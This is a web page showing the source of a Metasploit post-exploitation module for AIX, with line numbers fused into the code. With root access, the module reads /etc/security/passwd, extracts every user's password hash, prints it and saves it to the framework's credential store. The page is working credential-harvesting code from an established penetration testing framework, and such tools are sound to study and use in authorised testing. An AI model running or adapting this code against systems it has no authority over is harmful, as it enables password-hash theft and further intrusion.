Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/aix/hashdump.rb
Views: 11779
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::File7include Msf::Post::Linux::Priv89def initialize(info = {})10super(11update_info(12info,13'Name' => 'AIX Gather Dump Password Hashes',14'Description' => %q{ Post Module to dump the password hashes for all users on an AIX System},15'License' => MSF_LICENSE,16'Author' => ['theLightCosine'],17'Platform' => [ 'aix' ],18'SessionTypes' => [ 'shell' ]19)20)21end2223def run24if is_root?25passwd_file = read_file('/etc/security/passwd')2627username = ''28hash = ''2930passwd_file.each_line do |line|31user_line = line.match(/(\w+):/)32if user_line33username = user_line[1]34end3536hash_line = line.match(/password = (\w+)/)37if hash_line38hash = hash_line[1]39end4041next unless hash.present?4243print_good "#{username}:#{hash}"44credential_data = {45jtr_format: 'des',46origin_type: :session,47post_reference_name: refname,48private_type: :nonreplayable_hash,49private_data: hash,50session_id: session_db_id,51username: username,52workspace_id: myworkspace_id53}54create_credential(credential_data)55username = ''56hash = ''57end5859else60print_error('You must run this module as root!')61end62end63end646566